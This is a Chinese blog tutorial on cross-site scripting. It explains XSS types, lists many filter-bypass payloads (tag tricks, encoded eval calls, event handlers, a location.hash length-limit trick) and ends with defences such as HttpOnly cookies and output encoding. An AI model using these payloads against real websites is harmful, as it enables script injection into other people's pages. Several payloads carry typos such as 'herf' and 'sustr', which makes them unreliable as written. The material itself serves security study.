xss原理
xss產生的原因是將惡意的html指令碼程式碼插入web頁面,底層原理和sql注入一樣,都是因為js和php等都是解釋性語言,會將輸入的當做命令執行,所以可以注入惡意程式碼執行我們想要的內容
xss分類
- 儲存型xss:
js指令碼程式碼會插入資料庫,具有一定的永續性 - 反射型xss:
js經過後端php等語言處理 - dom型xss:
和反射型xss類似,但是不經過後端伺服器的處理
xss繞過總結:
自身繞過
<script>alert('xss')</script> //沒有過濾
<Script>alert('xss')</Script> //大小寫繞過
<scscriptript>alert('xss')</scscriptript> //巢狀繞過
<sc\x00ript>alert('xss')</sc\x00ript> //空位元組繞過
" oonnclick=alert('XSS') // //閉合單雙引號繞過(對於html實體輸入的和過濾< >)
其他標籤繞過
<a herf="javascript:alert(1)">show</a>
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
編碼繞過
base64編碼繞過
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
Unicode編碼繞過
線上編碼地址:http://tool.chinaz.com/tools/unicode.aspx
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<script>\u0061lert(1)</script>
<img src="x" onerror="alert("xss");">
url編碼繞過
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii碼繞過
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可使用瀏覽器外掛快速編碼
hex繞過
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
十進位制,八進位制,十六進位制
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
<img src=x onerror=”alert(1)”/>
<img src=x onerror=”alert(1)”/>
<img src=x onerror=”eval(‘\a\l\ert(1)‘)”/>
補充:on事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
長度限制的繞過:
可以利用事件如:
"onclick=alert(1)// 來減少字數
將程式碼藏入location.hash中,構造為
"onclick="eval(location.hash.sustr(1))
註釋將兩個文字框變為一個
奇怪的符號解析
<svg/onload=alert()>
<script/src=//⑭.₨>
參考文章:https://nosec.org/home/detail/3206.html
xss防禦
- 設定cookie中設定httponly屬性,那麼js指令碼將無法讀取到cookie資訊
PHP5(PHP5.2以上版本已支援HttpOnly引數的設定,同樣也支援全域性的HttpOnly的設定,在php.ini中設定,設定其值為1或者TRUE,來開啟全域性的Cookie的HttpOnly屬性)
session.cookie_httponly =
當然程式碼也能實現:
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE); - 限制輸入長度,在業務內減少使用者能輸入長度,像年齡,使用者名稱等地方限制15個字元,幾乎就很難xss(個人理解)
- 過濾業務用不到的字元如< >,script等標籤字元
- 輸出檢查,輸出到url的進行URLEncode,輸出進行html實體化輸出
- 成熟框架相對安全些(注意是相對)
參考文章
深入理解瀏覽器解析機制和XSS向量編碼:http://bobao.360.cn/learning/detail/292.html
XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
《白帽子講web安全》
歡迎訪問我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔